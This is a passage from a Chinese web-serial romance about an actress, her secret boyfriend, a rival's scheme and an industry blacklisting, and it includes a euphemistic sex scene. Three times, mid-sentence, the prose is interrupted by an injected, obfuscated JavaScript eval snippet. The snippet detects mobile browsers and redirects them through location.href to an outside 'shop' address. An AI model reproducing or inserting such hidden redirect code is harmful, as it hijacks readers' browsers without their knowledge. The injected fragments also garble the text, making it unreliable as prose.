“工作再忙，也要好好吃饭。睡不着，或者难过了，就给我打电话，找不到我就找晨星，我把他微信给你，他比我更常在线。” 接着点头。 “别太费神考虑公开的事，咱们顺其自然，如果被拍到了，就官宣，嗯？” 她想了一会儿，点点头。 一声声嘱咐完，问：“还有什么想跟我说的吗？” “你拍打戏一定要当心，不要受伤。” “好。” “要每天想我，吃饭想我，走路想我，拍戏……拍戏就算了，不能分心，但是如果看见漂亮姑娘，要想我才是最漂亮的。” 他低低笑了一声：“好。” “嗯……暂时就这样吧。等我想到了再补充。” 江述抬手擦了擦她眼角的泪，抿唇：“回去吗？” 童颜点了点头。 二人牵着手，继续往酒店方向走。 * 五月二十二日，追光影业集团在东方酒店举办十周年庆典，旗下艺人和高层悉数到场。 晚八点，庆典重要环节已毕，魏子铭一个人坐在五层的露台上，面前长桌上放着一杯红酒和一个果盘。 正盯着对面的紫禁城发呆，忽听见一女声：“子铭哥，怎么在这坐着？” 转头，孙艺涵一袭黑色系颈晚礼服袅袅而来。 魏子铭坐的是一个双人沙发，孙艺涵直接坐到了他身旁。 他眉心微皱，借着取水果的机会起身，拿了一块黄桃，顺势坐到了对角的单人沙发。 这就是魏子铭，即使到了现在，也不愿让女士尴尬。 孙艺涵垂眼，说：“子铭哥，你还在怪我吗？” 自去年和童颜闹了那么一出，童颜走后，她也被请走了。她解释说自己从小就喜欢他，然而魏子铭并无反应，半年来，魏子铭几乎没有私下和她说过话，不得不见面的公开场合，也是能避则避的。 对此，她心有不甘，无论如何不能接受，童颜，一个卖弄姿色的花瓶，对他的影响能这么大。此刻面对他的冷淡，她忍不住暗暗咬牙。 魏子铭举着黄桃静了片刻，又放回了盘中。 “你不该拿我的手机，给童颜发信息，故意制造误会。但如今说这些也都没用了，我和她分手了。和你……看在两家长辈的情分上，我不愿让彼此难堪，但私底下，我们就是同事关系，没有其他。” “你就那么喜欢她吗？为了她四处求人，甚至不惜求你父母出面帮忙，为了她，不顾我们多年的情分……你那么喜欢她，有没有想过你们为什么会分手？就因为那点误会吗？” 是啊。那点误会不算什么，童颜从头到尾也没有相信。那到底为什么，他们会走到这一步呢？ 四月份见过童颜之后，魏子铭常常这样反思。 不得不承认，童颜说的话都有道理，但，爱难道不能解决他们的问题吗？毫无疑问，他是爱童颜的，但同时也爱自己的事业，尽力平衡，努力让两样都圆满，难道不对吗？ 一定有哪里出了问题。他不愿将两人的分手归结为有缘无分，否则就必然要通往另一个解释。 “你们还是不够爱彼此。” 连孙艺涵都看出来了。 这个念头一度让他大受打击，甚至对自己的人生观产生了怀疑。 事已至此，他无话可说，更不必向孙艺涵解释什么。 “我们之间的事，与你无关。你稍坐，我先走了。” 他说完，拎起沙发扶手上的外套，起身走了出去。刚走出露台，却被迎面撞上的人惊了一下。 “小潘总？”魏子铭看向潘昀。 潘昀笑微微点头：“你经纪人在找你。” 魏子铭不知潘昀为何在此，也不知他来了多久，听见了多少，但……反正他和童颜已经分手，也没什么好隐瞒的，想着，略一颔首，与潘昀错身而过。 潘昀从洗手间出来，在露台一侧的过道抽根烟的功夫，不成想听见这么重要的八卦。 八卦当事人一个走了，一个还留着，他怎好浪费这个出场机会。 潘昀慢悠悠走到露台上，孙艺涵愣了一下，很快摆出甜美的笑容：“小潘总。” “嗯。”潘昀坐在先前魏子铭坐的沙发上，翘起腿，饶有兴致地问，“童颜和魏子铭，真分了？” 都分了，还不回他微信，不接他电话！这妞儿真是，够有脾气的。 潘昀已知道结果，其实不需要向孙艺涵确认，听她说了句“我不清楚欸”，也不过微微挑眉，道：“不管你之前跟童颜有什么过节，现在，她是我罩的人，别让我再知道你耍什么小动作。” 孙艺涵脸上的笑僵了一下。 一个两个，都上赶着做童颜的护花使者是吧。 浓浓的恨意藏在眼底，所幸露台上灯光昏黄，对面人无法看清。 “潘总说什么呢，我跟童颜还合作过电视剧呢，哪里有什么过节呀，我是真心希望她好的，您怎么能这么误会我呢，真让人伤心！”孙艺涵娇声嗔道。 潘昀掏出打火机，点上烟抽了一口。 “是误会最好。你也不必和童颜争，你是我家的艺人，如今流量又不错，差谁，都不会差你的资源。” 孙艺涵笑得更开心了：“那就多谢潘总照顾啦！我去下洗手间，您先坐。” 潘昀抬了抬眉，示意知道了。孙若涵起身拎着裙摆，翩然而去。 走到大厅，见四下无人，掏出手机拨了个号码，那头很快接通。 “郑伟，有一个大单，你敢不敢接？” 那头问多大的单，孙艺涵低声冷道：“做成了，你下辈子的口粮都有了。” 对面考虑片刻，给了肯定的回答。 “见面再聊，你等我通知。” * 童颜最近忙到飞起。 她刚进组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651633|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新剧，去年拍的现代剧《灿烂的她》突然要定档，比此前得到的消息早了一个月，打乱了她原本的工作节奏。 繁忙的拍摄之余，还得配合宣传活动。不过受疫情管制影响，线下跑场倒是不多，大都是物料拍摄、线上直播、采访之类的。 每天一刻不得闲，回到酒店累得恨不得死过去。 二十八号那天，童颜晚上九点做完一个采访，回去的车上给江述发微信，一时没收到回复，童颜收起手机摊在沙发上，闭目养神。 林慧心在一旁抱着电脑干活，忽然抬头问了句：“你得罪过哪个大佬吗？” “没有啊，我敢得罪谁啊。”她懒懒地回。 林慧心皱眉：“严肃点，问你正经事呢。” 童颜这才睁开眼，转头看林慧心。 “带程愫的经纪人李玉娟，娟姐，你知道吧。她跟我说，最近圈里有人传，你得罪了某个大佬，前途堪忧。” 程愫是一代国际女星，手握数十部经典作品，如今年过五十依然不减风华，是圈内当之无愧的大前辈。 童颜有幸和她一起拍过杂志，当然那期杂志还有其他年轻艺人一起，但程愫似乎对她格外青睐，后来加上微信，偶尔私下里聊几句，因为这个关系，李玉娟和林慧心关系也不错。 李玉娟平素打交道的，都是圈里的话事人，她既然这么说，那就一定不是空穴来风。 童颜凝神片刻，恍然。 去年把倪笑的视频交给警察后，她知道案子在办理中，但具体情况无法探听，也就不再细问了，只安心地等最终结果。如今半年过去，难道…… 她看向林慧心，缓缓说：“我跟你说个事，你听完要冷静。” 童颜先前没有把倪笑自杀的后续告诉林慧心，一来，她那时情绪乱七八糟，事情做完就忘了，二来，少一个人知道就多一分安全。 虽然潘昀曾警告过她，赵家会报复，但她那时心态已跌至谷底，并没有很在意。 现在反噬回来了，童颜倒没有很害怕，就是感觉挺对不起心姐的。 本以为，听她说完这件事，林慧心一定指责她办事不经大脑，冲动任性，童颜做好了迎接暴风雨的准备。 谁知，林慧心皱着眉沉默片刻，说：“你做的对。” 童颜刚要松一口气，林慧心又说：“但是，对的事不一定谁都能做。尤其是我们这样，看似光鲜亮丽，实际没有背景、冷暖自知的人，就算你有再多钱，总有人比你有钱，比你有势，这个世界，是掌握在极少数那部分人手里的。” 林慧心在提醒她，准备好承受相应的代价。 童颜点了点头：“我都知道，也不害怕，只是很抱歉，又给你惹事了。” 林慧心长长地叹了口气：“我不能保证什么，但是，我会用上所有的人脉，竭尽全力保你。” 童颜笑了起来，伸手抱住她。 “心姐，你是天底下最好的经纪人。” 林慧心推她的额头，一脸嫌弃道：“惹的事是真大，嘴也是真甜。” 正说着，童颜的手机震了下，急忙推开林慧心，从口袋里掏出来一看，眼睛顿时亮了起来。 林慧心眼瞧着她笑得更甜了，不禁翻了个白眼。 用脚指头想，也知道是谁的微信。她故作不知，探头看向她手机，问：“谁找你？” 童颜忙捂着屏幕躲开，手没她眼快，已经看见了。 江述：「明晚在家吗？」 童颜秒回。 「在家，而且，我男朋友不在哦。」 江述：「你有男朋友？那我还是不去了。」 不开美颜：「你敢！」 同一时间，武汉剧组酒店里，江述合上行李箱，拿起手机看了眼，想象童颜噘着嘴，开心又嗔怒的表情，仿佛就在眼前。 笑着回了一句：「在家等我。」 37. 灿烂 第二天上午十点，江述落地北京。 下午两点至五点，在瑰丽酒店有个洗护发品牌的新品发布会。时间已经不早，江述一下飞机就往酒店赶。 李正透过车窗看外面的粉丝，说：“疫情期间，来了这么多人，少不得又要挨骂。”说着转头看江述，“你发个微博引导下。” 江述闭着眼说：“发完了。” “这么快？！” 李正略惊，掏出手机上微博，看见一分钟前江述发的动态。 @江述：不要聚集。生命比追星重要。 “真够简洁的。”李正摇头叹，“也够无情的。你跟女朋友也这个语气说话？” 江述没说话。 李正以为他懒得回答时，忽然听见一句：“不会。比这个无情。” “……” 李正无言以对，江述却顺着他的话，想起一件事。 那是认识童颜的第三年，两人都没什么好资源，在一个又一个戏里演配角、反派，糊得旗鼓相当。 有一天，童颜告诉他，一个影视公司的老板在追她。 以她的外形条件，这并不稀奇，反而太平常了。 平常到童颜都很少主动聊起，偶尔说起来，也多是烦躁的语气。说哪个富二代天天往片场送奶茶，哪个公子哥醉酒驾驶，还说都是因为她太迷人。 那为什么独独提起这位影视公司的老板呢？是他长得帅气、很有魅力，让她动心了吗？ 不是。 因为她绝望了。 没有背景的新人在娱乐圈打拼，就像在沙漠里淘金子，即便历尽千辛万苦挖到一块，进兜之前，也总会被后来的人抢走。 童颜说完问他：“你怎么不说话？” 他沉默须臾，反问：“你想做个什么样的人？过怎样的生活？” 童颜如往常一样告诉他：“灿烂的人。过热闹的一生。” “你觉得，怎样才算灿烂？”他又问。 “像太阳花一样，努力追光，即便遇到风吹雨打，仍然挺立，开漂亮的花，结饱满的瓜子，让人看到就感觉开心。” 她说着低下了头，像一棵折了的向日葵。 江述盯着她，淡淡地“嗯”了一声。 “记住你的话，你想做一个灿烂的人，而不是不堪的人。” 他用了“不堪”两个字，语气不可谓不重，当场就把她的眼泪逼了下来。 后来他才知道，她拼了好久的机会，在那天，被资方一个毫无资历的新人抢走了。 更让人无力的是，她无意间听见剧组工作人员聊天，说童颜可惜了，长得好看是资本，但她不懂得利用，扮清高，怪谁。 原来这个世界真的是，笑贫不笑娼。 无论你多努力，只要没站到高处，就活该被人踩死。 童颜终于心态崩了。 那天的后来，她哭着回了家，接下来有一个星期没跟他说话，打电话、发微信，都不理，家里也找不见人。 他无数次后悔自己话说重了，也担心这会令她逆反，走上另一条孤独的路。 万幸，她是勇敢又坚强的女孩子。 又过了两天，他在她家门口堵到了人，让她去家里吃饭。 她傲娇了一会儿，就开心地跟他走了。 饭桌上，她得意地提到自己的战绩，说后来找到了那个背后吐槽她的化妆师，直截了当地告诉她：你只有一句话说对了，“长得好看是资本”，可我就是清高，就是不利用，偏要凭实力闯出来，你等着瞧！ 思绪至此，江述不禁翘起嘴角，恨不能丢下工作，立刻去见她。 “欸，想什么呢？”李正伸手到他眼前晃了晃，“听见我说的话了吗？” “什么？” “我说，明天是夜戏，定的下午两点的航班，中午去接你。” “不用了。我自己去机场。” 李正忽然想到，他肯定要去见童颜，有意嘱咐几句话，但车里还有同事，不好挑的太明，只说了句：“注意狗仔。” “知道了。” * 品牌活动顺利结束，江述本想直接去童颜家，不料被一个人堵住了。 潘秋生的秘书，田源。 去年底，潘秋生曾约他见面，但因拍摄和隔离，耽搁至今。如今人都堵到跟前了，不去确实不合适。 田源开车带他到二环里的湖畔贤府18号，一个高档独栋别墅。 潘秋生来开的房门。他身穿白T和杏色长裤，很休闲的居家风。 “来了。” “您好潘总。” 二人在沙发上落座，潘秋生倒了两杯茶，一杯给江述：“尝尝。” 江述喝了一口，道：“抱歉，我不通茶道，品不出妙处。” “理解，年轻人现在喝茶少了。在国外上学时，都是喝咖啡吧？” 江述点头。 “听说你是金融专业的高材生，毕业后在旧金山也有不错的工作机会，怎么会回国，还进了娱乐圈？” “我大学辅修戏剧专业，至于回国……属随性而为。” 潘秋生盯着他看了几秒，说：“回国好啊。国内这些年发展很快，机会也多。你肯吃苦，性子也不浮躁，以后大有可为。” “您过奖了。” 客套话已说尽，两人之间陷入沉默。 各自喝了会儿茶，潘秋生忽然说：“有什么想问我的吗？” 实话说，当秘书把江述的资料放在他桌上时，他犹豫了很久才打开。 他在旧金山有一个儿子，这件事几乎无人知晓。 看资料前，潘秋生的心情很复杂，既有生而不养的愧疚，也有对这个孩子回国目的的揣测。 看完资料后，心情变得更复杂。 原来，在没有父亲参与的二十几年时光里，这个孩子长得超乎寻常的优秀。 大学四年全额奖学金，功课全A，教授眼里的“genius”，在校期间加入旧金山知名的金融科技企业实习，实习结束时，公司以百万美金的年薪聘请他正式加入……很难想象，达成这么多成绩的同时，他竟还有余力辅修其他专业，并在回国后完全靠自己，成长为炙手可热的新星。 潘秋生想弥补这个亏欠良多的孩子。 两人心照不宣地对视片刻，江述摇了摇头：“没有。” 他对潘秋生，无爱亦无恨。 因为母亲避讳，他对父亲知之甚少，但两人之间的纠葛，似乎又很深。 母亲后来抑郁疯癫，有时会把自己关在房间里痛哭、焚烧衣物，有一次差点失火，他抢救出一本相册。 母亲去世后，他在国外已无牵挂，收拾遗物时，无意间又翻到那本相册，对这位基因学上的父亲忽然生了几分好奇。 这也是他当初回国、进入演艺圈的最初目的。 然而时间过去越久，最初的目的越淡，如今人就坐在对面，他却已无了解的欲望。 潘秋生闻言愣了下，微微叹了口气：“当年，我和你母亲相识、相恋，很快有了你，家里反对，我一气之下离开家，带你母亲在国外住了大半年，后来，家里老人病危，我不得不回来，身份证件全被收走，无奈接受家族联姻……之后，你母亲恨我失信，几度拿你威胁恐吓。再后来，我们联系少了，仅有的几次，都是她打电话向我要钱。” 回忆太过久远，有些事，连他自己也要想一想，才记得起来。 “原来如此。”江述低头笑了笑。 一个富家公子哥的俗套爱情故事，他听得意兴阑珊。 潘秋生又道：“对你们母子，我自认有愧。这套房子是你母亲当年住过的，如今仍然在她名下，她不在了，按照规定，你就是房子的主人，你可以随时回来住。其他的，我也会尽力补偿……” “不必了。”江述淡声打断，“我无意打扰潘总的生活，也不希望自己的人生受到干涉，潘总只当我是一个后辈就好，千万不要特殊照顾。至于房子……” 江述环顾四周，打量着房子里的陈设。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651634|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白色的现代简约装修，山墙嵌四面大玻璃窗，很通透。挑高的天花板上，悬挂四层水晶灯，地面铺着烫金暗纹的浅灰色地毯。 很华丽，但可能是久不住人的缘故，显得死气沉沉。 江述收回视线，客气道：“母亲去世后，我将她名下财产捐给了慈善机构，这套房子她从未提及，恕我不便处置，请潘总自行安排。告辞。” * 江述来时，童颜正在厨房做饭，听见智能门锁的响声，她眼睛一亮，扭头就朝门口跑。 “江述！” 行李箱刚停稳，就被一颗小炮弹砸中。 童颜系着围裙，手上戴着一次性透明手套，朝上举着，丸子头松松扎在头顶，眉开眼笑朝他扑过来。 “你想我了没？” 江述笑意深深搂住她。 虽然两人每天都视频通话，但真实地抱住她的感觉，是不同的。 好像一个长途跋涉的冬雪夜归人，坐在燃烧的炉火旁，四肢百骸都被暖意包围，他不由叹息着说：“很想。” 童颜笑得更开怀了。 “在做什么？”他问。 “哎呀，忘了关火。”她说着丢下他，转身又朝厨房跑去。 江述怀中一空，下意识朝前抓了下，继而垂眸笑了笑，换上拖鞋，往厨房走。 “这么多菜？” 他边说边看向灶台，两个盘子里盛着切好的菜，旁边调味料和食用油盖子都开着，菜板在拥挤的台面斜放着，上面有三棵小葱。 好一个凌乱的战场。 江述失笑：“我来吧。” “别动！”童颜举手挡住他，“我自己来。你看着乱吧，其实是乱中有序，你别插手，等着吃就行。” 江述抱起手臂，看她把可乐鸡翅盛到盘子里，又将蒸好的鱼端出来，大手一挥，吩咐道：“端过去吧。再炒两个菜就好了。” 等他把菜端上桌，再回来，童颜正在看视频教程，看完关掉，开始炒菜。 油太热，她把菜倒进去，溅出了油点子，一时间吓得尖叫着跑出去老远。 江述抿唇摇了摇头：“还是我来吧。” “不用，我行的！” 童颜说着又回到锅边，按照视频教的加调料、翻炒，江述也时不时指点一下，总算有惊无险的炒完了。 饭菜都上桌，童颜给江述盛了碗米饭，把筷子递给他。 “尝尝。” 江述挨个尝了一口，挑眉。 “好吃吗？” “出师了。” “真的假的，我尝一下。” 她先吃了口鱼：“唔，好鲜！”又夹了两口青菜，“稍微有点咸，不过还行。” “怎么想起做饭了？”江述问。 “要抓住男人的心，先抓住他的胃嘛！” 江述不禁笑出声：“你不用，我抓你就好。” 童颜吃了几口鱼肉，又夹了几根青菜，就放下了筷子。可乐鸡翅是万不能碰的，最近得控制体重。 “你快吃。”童颜两肘支在桌上，笑眯眯地捧着脸，“吃完还有事。” 江述微怔：“什么事？” “睡你。” 江述突然呛咳起来，端起手边的水杯，猛灌了几口。 美艳的女妖假装懵懂，无辜地看着他说：“你怎么了？慢点吃。” “没事。”他面无表情，继续吃饭。 一时间，真不知道该快还是该慢了。 暧昧浓稠的氛围在两人之间弥漫，对面的视线像两团小火球，烧得他耳朵泛红，偏这坏心眼的精怪还要挑明。 “江述，你耳朵红了，嘻嘻。” 他暗暗咬牙，放下筷子，看她。目光从她的眉眼，逡巡至淡粉色的唇，再到眼。 “童颜。” 他的眼神像黑夜里的猎人，直接而坦荡，含着某种危险的意味，令对面的女妖瞬间脸颊升温，瞟了他一眼后，快速站起身，一溜烟往楼上跑了。 “手机不要了？” 38. [锁] [此章节已锁] 江述朝她背影喊了声，也没叫回人。 笑意在眼底晕开，他又吃了几口，把盘碗收去厨房，打扫完战场，拎着行李箱上楼。 童颜在浴室泡了个澡，抹好身体乳，吹干头发，抬起手臂嗅了嗅，似乎不够香，又拿起香水，在手腕喷了两下，往颈侧蹭一蹭，满意了。 一切收拾好，趴到床上，等江述来找她。 结果左等右等，不见人，她失去耐性，直接冲到隔壁，推开门说：“我手机呢！” 江述背对着门，站在床边，穿着黑色睡裤，正在往身上套T恤，后背大片皮肤裸露，童颜瞬间想起上次，也是在他的卧室……她慢吞吞移开眼，听见他说：“在桌上。” 于是走过去，抓过手机，气哼哼就走，路过他身侧，被一把攥住了腕子。 掌心的热度接触到她微凉的皮肤，童颜忍不住小臂发麻。 “干嘛！”她抿着唇。 江述转过身。 她穿着粉色丝绸吊带睡衣，低胸，长度至臀下，牛奶般的肌肤几乎让他移不开眼，瞳色深深地看着她，少顷一把将她抱了起来，往外走。 童颜环住他后颈，心里又紧张又羞涩，还有一点气，垂着眼不看他。 江述将她抱回自己房里，放在床上，两手撑在床边，低声问：“生气了？”见她不说话，又问，“气我没有来找你？” 她轻轻“哼”了一声。 他眼中染上笑意，一手捧起她的脸，迫她抬头。 第一次如此爱一个人，爱到不知如何是好。身为男人，他当然有欲/望，且他的欲望不像她，轻飘飘地撩两下就满意了，那是带着最原始的占有欲和摧毁欲的冲动。 从见到她那刻就有。或更早，她一直都是他心底最深的渴望。 怕起心动念亵渎她，也怕她试过后不喜欢，因此迟疑、怯懦。 “童颜，我也会紧张。” 说出这句话，他有点难为情。 童颜咬了咬唇，小声嘟囔一句：“该紧张的是我吧。” 他笑笑，点头：“下不为例。以后都是我去找你。” 修长的手指沿颈侧拂过，衣带滑落，肩头被轻轻啮咬，唤起她全身的战栗。 恍惚间，有人在高耸的山峰和神秘的幽谷间拨弦，吟唱古老而厚重的爱情歌谣，音调时缓时急，时高时低，听的人心跳如擂鼓，灵魂都止不住颤抖。 “叫我。”他低低说着，克制不住地喘息。 纤细雪白的手指紧扣在背脊间，汗水染上了槐花的香气，像蒸馏的酒，一滴一滴，潺潺地隐入暗处。 “江述……”似痛呼，又似委屈，急需怜爱的语气，霎时令他仅存的理智寸寸崩裂。 弦弹至高潮，急急切切，须臾不肯停，听得人死去活来，禁不住轻启朱唇，以低吟相和。 一声铮鸣，天地静寂，悠长的余韵弥散在夜的荒原之上。 她抿了抿唇，拍他一下：“你出去。” 他闷闷地笑起来，也不再逗她：“抱你去洗澡？” 童颜不语，搂住了他后颈。江述起身，抱她进了浴室。 浴室灯光亮白，四目相对，她被他的眼神盯得呼吸一滞，“不要”二字还没出口，就被他逮回来，禁锢在怀中。 哗哗的水流声里，又是一场风月撩人。 两人收拾完，已过夜半子时，回到江述的卧室躺下，他在她额间印下一个吻，轻道：“睡吧，做个好梦。” * 早晨七点半，闹钟响起。 童颜从枕侧摸到手机，关掉。横在腰间的手臂揽了揽她，混沌的意识渐渐清醒，翻过身，嘴角上扬。 睁眼就看见一张帅脸，真是心情愉悦。 她忽然凑过去，在他脸颊上亲了一下。 江述低低笑了一声，缓缓睁开眼。四目相对，先撩的人反倒害羞地移开了视线。 “几点出门？”他问。 “八点。” 他摸起手机看了眼：“该起了。” “不要。”伸手搂住他腰，像霸占人形抱枕，小腿也搭在他身上。 忽然感觉到异样，在大腿.内侧。她眨巴着眼，看他，脸不由发热，小声问：“还要吗？” 江述在这一刻体会到柳下惠意志的顽强，凑过去亲她，童颜却猛地捂住了嘴：“不许亲，我没刷牙。” 大掌按在她腰窝，略一使力，紧紧贴在一处，唇在她颈侧轻啄。 “讨点利息就好。” 他本就扛得吃力，谁知有人不安分，竟还摸到他腹部，问：“你有几块腹肌？” “自己数。” 她果真开始数，手指四处游移。呼吸声更加粗重，他忍不住咬了她一口。 “六块？”她问。 手还要往下，被他一把攥住了。 “再闹就别起了。”他语带威胁。 她顿时脸红，双手一推，将他撂在床上，然后火速坐起，趿上鞋就溜了。 江述看着落跑的背影，忍不住笑起来。 回到房间，他快速冲了个澡，洗漱完下楼，简单做了两个三明治，倒好牛奶，童颜刚好下楼。 “好看吗？” 她转了个圈，乳白色法式长裙荡开，大朵大朵的干枯玫瑰随裙摆摇曳，同色系贝雷帽向一侧倾斜。 江述把牛奶放到桌上，夸了一句：“丽质天成。” 她笑得更得意了。 这时，楼下有汽车鸣笛，童颜扑过去紧紧抱住他：“心姐到楼下了，我得走了，又要好久见不到了……” 江述捧起她的脸，果断一个深长的舌吻，亲的她几乎透不过气。 两人喘息着，江述紧紧盯她的眼：“走吧。” 说了让她走，拦在她腰后的手却没放，童颜咬了咬唇，狠心推开他，拿起一个三明治，一步三回头地走了。 * 蝉鸣从清亮渐至声嘶力竭，一个夏天过去了。 随着潮热暑气一同退去的，还有曾经朦胧不清的事态。 童颜遭到了软封杀。 她不是劣迹艺人，不会有总局下发的红头文件，但无形中却像有一双手在暗中操控，圈内同行提到她，变得讳莫如深起来。 近两个月的时间里，有三个代言到期未续约。 原本手里有五六十个剧本，选出了三个，去和制作方聊细节时，对方却不约而同地说定了人选、项目暂缓……总之意思就是，童颜出局了。 林慧心为这事焦心烦躁，一向坐得定的人，逐渐克制不住脾气。 “不是让你发那张近景的吗，怎么还是发了全身的？”林慧心正在跟工作室的运营同事毛欣欣说物料的事，“做事能不能靠点谱？！” 毛欣欣惶恐：“对不起心姐，我搞乱了，我重新编辑一下。” 童颜拍了拍她手，示意她先出去，毛欣欣感激地点点头，快步走出了会议室。 只剩下童颜和林慧心两个人。 童颜拿过一杯奶茶，插好吸管，递到林慧心嘴边：“喝点凉的消消火，无糖的。” 林慧心接过奶茶喝了一口。 “心姐，事情坏到了什么地步？” 林慧心看着她，深深吸了一口气，肩塌向后面的椅背。 “今年还有四个代言面临续约，这部剧杀青，接下来的电影虽然定了，但离开机还有两个月，谁也不能保证临到头会不会有变故。无法维持曝光率、话题度，慢慢就会被大众遗忘。我联系了很多人，至今都没搞明白，背后那只手到底是谁，这是最可怕的。” 童颜当然清楚。 一个艺人要想持续红火，作品是硬实力，话题度是软实力。有时候，明星的话题度甚至比作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665711|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品更重要，这话听起来荒诞，但事实就是如此。 在娱乐圈，如果没人谈论你，你连选择的权利都没有，又哪来的好作品。 她不就是从一个糊咖一步步走到今天的吗？当中多少辛酸只有自己知道。 如今有人要堵她前面的路，不仅要让她无法出现在大众面前，还要抹黑她的作品。 童颜想起不久前播出的《灿烂的她》，刚开播时口碑很好，大家都夸她剧抛脸，演什么像什么，渐渐地，开始有不同声音出现。 “哭得好假，是泪液吧……” “女主有没有脑子啊，哦，童颜演的啊，那没问题了，很合理。” “可惜了我担，本来指望这剧爆一把的，被童颜毁了。” “一个资本运作出来的花瓶罢了，演技？呵——退！” 很多人拿着放大镜看剧，将她的画面截屏按帧分析，骂的热火朝天，剧集被刷低分。 即便知道是恶意攻击，情绪也很难不受影响。 童颜都没脸面对当初特意等她档期的制作方和导演，还有合作的对手演员。 这样想来，她也不是完全没有话题度，至少有人骂。 童颜低头想了一会儿，说：“心姐，你别上火了，我尽力做好自己的工作，其他的，也看命，就是挺对不起你的。” 林慧心静了静，按捺住情绪：“你别受我影响，没事，老板也正在联系人呢，他认识的大佬多，很快就有结果了。正好最近没什么着急的行程，你趁这机会，好好休息几天，充充电，准备再战。” 童颜扯了扯嘴角，看窗外天色暗下来了，便道：“我先回去了。” “好。” 童颜走出公司，去园区东北角取车，刚打开车门，一个陌生手机号码打了过来。 她一向不接这种电话，以为是广告推销，顺手就挂了，谁知刚坐到车里，对方又打了过来。 童颜皱眉接起来，听了一会儿，挂断了电话。 是她爸童仁信。 去年他要借三百万，童颜没给，后来他辗转从银行贷到了钱，谁知供应链出了问题，如今货款回不来，银行的钱还不上，成了失信被执行人。 童颜丢下手机，在方向盘上趴了一会儿，坐直将手机调成静音，开车去了酒吧。 * 晚十点，山海酒吧二楼包厢里。 童颜已喝得半醉，被花里胡哨的灯光晃得头晕，倒在沙发上躺了会儿，胃里忽然翻江倒海。 她爬起来冲到垃圾桶前，呕了两声，什么也没吐出来。 胃里没东西可吐。 突然想吃江述做的鸡蛋羹了。 童颜仰了仰头，在地上蹲了一会儿，站起身，摇摇晃晃往外走。 走廊昏暗，不小心撞到了人，那人惊诧道：“童颜？” 她抬头看了一眼，没有理会，继续往前走，却被那人拽住了手腕。 “喝得不认识人了？”潘昀戏谑地说着，示意同行的伙伴先走。 童颜抽了抽手臂，没抽动，不由皱眉：“你干嘛，放开！” “心情不好，借酒消愁呢？”童颜背靠墙壁，被潘昀堵在身前，“你放心，大不了我给你单开一部，量身定做，有我在，不会让你没戏拍的。” 童颜面无表情。 “不信？你让我亲一口，明天我就组班子。”他说着缓缓地凑近，玩笑的语气，神色里却带着几分真。 距离一寸之遥时，被童颜一巴掌拍得偏了脸。 “耍流氓，天打雷劈啊！” 她骂了一句，潘昀也不恼，反而笑得更开心了。 童颜从他手臂下钻出去，正要走，又被潘昀扯住了手。 “还能走吗，我送你。” 她是真有点烦了，回身便要打人，忽听一个清冷的声音说：“放开她。” 39. 梦想 江述走到两人身旁，摘下潘昀的手。 他带着口罩和鸭舌帽，潘昀一时没反应过来是谁，童颜却叫了声“江述”，委委屈屈的声音，然后扑过去，紧紧抱住了他。 潘昀：“……” 江述搂着她拍了拍，轻声说：“我们回家。” 说完，一手牵着人，另一手揽着肩，带童颜离开了。 潘昀：“？？？” 所以这是，刚跟魏子铭分手，又来了一个江述上位？ 真他妈的…… * 童颜酒意翻涌，上车不久就睡了过去。 江述把车停进车库，下车，将人从副驾抱下来，一路抱进屋，童颜还睡着。 他把人放到床上，想去拿个毛巾，环着他后颈的手却不放，说了句：“体力不错哦。” “醒了？”他问，“那去洗澡？” 她哼唧两声，不愿意。 “要我抱你去？” 她仍闭着眼，不说话。 江述笑了笑，又把她抱进卫生间，放坐在洗脸台上，往浴缸里放水，接着帮她宽衣解带。 刚脱下小开衫，人就睁开了眼。 细白的手指抓着他衣领，小声说了句：“你出去，我自己来。” “醉成这样，确定能洗？不要我帮忙？” 他故意打趣，被她拿手拍了一下，软绵绵地没什么力气。 江述也就不再逗她，放好水，把拖鞋拎过来，关上门出去了。 他去隔壁卫生间快速洗了个澡，担心她在浴室里滑倒，顾不上吹干头发，就又回来了。 童颜在浴室里放歌，也跟着唱。 “我的爱，赤裸裸，你让我身不由己的狂热，我的爱，赤裸裸……” 江述不由失笑，正要走开，忽然听里面的人叫了一声，然后就没了声音，他心里一惊，推门就进去了。 童颜淹在浴缸里，两手扑腾着浮出水面，呛咳着睁开眼，看见门口的江述，不由赧然，又默默滑进了水里。 有什么用？浴室就这么大，她躲到水里就看不见了？ 江述从柜子里取了条浴巾，坐在浴缸边，将她捞出来裹好，直接抱出来，让她站在地上。 又取过吹风机，插电，给她吹头发。 一如既往的江述风格，开足功率，呼呼吹得她活像梅超风。 